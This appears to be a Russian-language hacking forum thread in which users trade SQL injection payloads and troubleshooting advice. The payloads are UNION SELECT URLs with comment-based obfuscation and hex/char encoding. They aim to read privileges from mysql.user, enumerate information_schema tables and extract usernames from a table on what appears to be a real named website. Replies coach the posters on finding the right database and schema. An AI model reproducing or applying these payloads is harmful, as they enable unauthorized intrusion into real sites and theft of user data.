Спасибо за ответ.вот зачарено

http://www.site.com/fin-detail.php?id=173/**/union/**/all/**/select/**/1,file_priv,3,4,5,6,7,8,9,10,11/**/from/**/mysql.user/**/where/**/user=char(70,117,116,117,114,101,95,102,117,116,11 7,114,101,50)--

Ответ

SELECT command denied to user 'Future_future2'@'localhost' for table 'user'

Вот хек

http://www.site.com/fin-detail.php?id=173/**/union/**/all/**/select/**/1,file_priv,3,4,5,6,7,8,9,10,11/**/from/**/mysql.user/**/where/**/user=0x4675747572655f66757475726532--

ответ

SELECT command denied to user 'Future_future2'@'localhost' for table 'user'

А матчасть почитать сначала??? Ясно же написано что вышеуказанный пользователь не имеет прав на доступ к системной таблице mysql!

Здравствуйте, помогите, туплю. http://www.newtonsapple.tv/video.php?id=1g671'/*!union*/select+1,2,3,4,5,6,7,8,9,10,group_concat(table_nam e),12,13,14,15+from+information_schema.tables+--+ есть таблица ltw_usersv4, в ней есть колонка username, пытаюсь достать ее так: http://www.newtonsapple.tv/video.php?id=1g671'/*!union*/select+1,2,3,4,5,6,7,8,9,10,username,12,13,14,15+f rom+ltw_usersv4+limit+0,1+--+ и ничего не получаю. Что я делаю не так? Заранее благодарен.

Эта таблица находится в другой бд, в твоей ничего подобного нет. Учти другая БД - может быть другой сайт!

Еще один глупый вопрос: как определить к какой именно базе прнадлежит таблица?

FunOfGun,

вытаскивай просто таблицы подобными запросами:

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Узнать текущую базу:

SELECT database()

Как раскрутить? Запрос был '+order+by+100

Т.К. url сайта Вы не даете, тогда могу только так помочь: